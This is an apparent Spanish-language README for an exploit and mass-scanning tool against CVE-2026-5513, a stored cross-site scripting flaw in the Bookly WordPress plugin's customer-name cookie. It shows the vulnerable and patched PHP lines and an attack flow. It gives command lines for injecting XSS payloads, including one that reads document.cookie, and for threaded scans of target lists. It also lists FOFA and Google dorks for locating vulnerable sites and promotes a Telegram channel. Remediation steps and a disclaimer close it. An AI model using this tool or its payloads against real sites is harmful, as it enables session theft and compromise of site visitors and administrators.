
CVE-2026-5513 — Bookly ≤ 27.2 XSS Almacenado vía Cookie
CVE-2026-5513 — Bookly ≤ 27.2 XSS Almacenado mediante Cookie
CVE-2026-5513 — Bookly ≤ 27.2 XSS Almacenado mediante Cookie
CVE CVSS Tipo Autenticación
https://t.me/FreeToolsCpa Archivo CVE en el grupo
Resumen
| Campo | Valor |
|---|
| ID CVE | CVE-2026-5513 |
| Vulnerabilidad | Cross-Site Scripting Almacenado (XSS) |
| Plugin | Bookly — Online Scheduling and Appointment Booking System |
| Afectado | ≤ 27.2 |
| Parcheado | 27.3+ |
| CVSS 3.1 | 7.2 (Alta) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| CWE | CWE-79 |
| Autenticación Requerida | Ninguna |
| Requisito previo | Recordar información personal en cookies debe estar habilitado (deshabilitado por defecto) |
| Descripción | |
El plugin Bookly para WordPress es vulnerable a Cross-Site Scripting Almacenado a través de la cookie bookly-customer-full-name en versiones hasta la 27.2 inclusive, debido a un saneamiento de entrada y escape de salida insuficientes. |
Cuando la opción "Recordar información personal en cookies" está habilitada, el plugin lee el valor de la cookie bookly-customer-full-name y lo renderiza directamente en el HTML del formulario de reserva sin el escape adecuado. Un atacante no autenticado puede inyectar payloads JavaScript arbitrarios a través de esta cookie que se ejecutan cada vez que un usuario (incluyendo administradores) visita una página que contiene el formulario de reserva de Bookly.
Flujo de ataque
Atacante → Establecer cookie maliciosa (bookly-customer-full-name=<script>...</script>)
→ Visitar página con formulario de reserva de Bookly
→ El plugin lee la cookie, renderiza el valor sin escapar
→ El payload XSS se ejecuta en el contexto del navegador de la víctima
Causa raíz
// VULNERABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name']; // No sanitization
echo '<input type="text" value="' . $full_name . '" />'; // No escaping
// PATCHED — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';
Características ✓ Sondeo automático de IP/Dominio (HTTP/HTTPS, puertos comunes, detección de redirecciones) ✓ Detección de plugin WordPress y Bookly con verificación de versión ✓ Detección de configuración de cookies (análisis JS de BooklyL10n + reflexión canary) ✓ Pruebas XSS en múltiples contextos (HTML, JavaScript, inyección en atributos) ✓ Inyección de payload con verificación de reflexión ✓ Objetivo único o escaneo masivo desde archivo ✓ Escaneo multi-hilo (hasta 20 hilos) ✓ Soporte de proxy (Burp, etc.) ✓ Guardado automático de resultados vulnerables ✓ Menú interactivo + modos CLI Instalación
pip install requests colorama
Uso Modo CLI
# Check single target
python CVE-2026-5513.py -u https://target.com -v
# Check single IP (auto-probe ports + redirects)
python CVE-2026-5513.py -u 167.99.0.203 -v
# Check + inject XSS payload
python CVE-2026-5513.py -u https://target.com --inject -v
# Custom XSS payload
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"
# Mass scan from file
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt
# With Burp proxy
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080
Modo interactivo
python CVE-2026-5513.py
Opciones
| Bandera | Descripción |
|---|---|
| -u URL | Objetivo único (URL, dominio o IP) |
| -l ARCHIVO | Archivo con lista de objetivos (uno por línea) |
| --inject | Inyectar payload XSS (por defecto: solo verificar) |
| --payload CADENA | Payload XSS personalizado |
| -t N | Número de hilos (por defecto: 10, máximo: 20) |
| --proxy URL | Proxy HTTP (ej. http://127.0.0.1:8080) |
| -o ARCHIVO | Guardar resultados en archivo |
| -v | Salida detallada |
| Formatos de objetivo | |
La herramienta acepta cualquiera de estos formatos en -u o en el archivo de lista de objetivos: |
https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080
Para IPs simples, la herramienta automáticamente:
/wp/, /blog/, /wordpress/, etc.)Cadena de explotación
PASO 0 → Sondear objetivo (IP/dominio → resolver URL base, detectar redirecciones)
PASO 1 → Detectar plugin Bookly (readme.txt, directorio del plugin, assets, verificación de versión)
PASO 2 → Verificar configuración de cookies (análisis JS de BooklyL10n + prueba de reflexión canary)
PASO 3 → Probar reflexión XSS (contexto HTML, contexto JS, contexto de atributo)
PASO 4 → Inyectar payload (si modo --inject, verificar reflexión)
Google Dorks
# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"
# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"
Remediación
| Prioridad | Acción |
|---|---|
| 🔴 | Actualizar Bookly a la versión 27.3+ |
| 🟡 | Deshabilitar "Recordar información personal en cookies" en Configuración de Bookly → General |
| 🟢 | Implementar reglas WAF para filtrar XSS en valores de cookies |
| 🟢 | Implementar encabezados de Política de Seguridad de Contenido (CSP) |
| Referencias | |
| NVD — CVE-2026-5513 | |
| Aviso de Wordfence | |
| Tenable | |
| Registro de cambios de Bookly | |
| Descargo de responsabilidad | |
| Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Siempre obtenga la autorización adecuada antes de realizar pruebas. El autor no se responsabiliza por el mal uso de esta herramienta. | |
| https://t.me/FreeToolsCpa https://t.me/FreeToolsCpa https://t.me/FreeToolsCpa |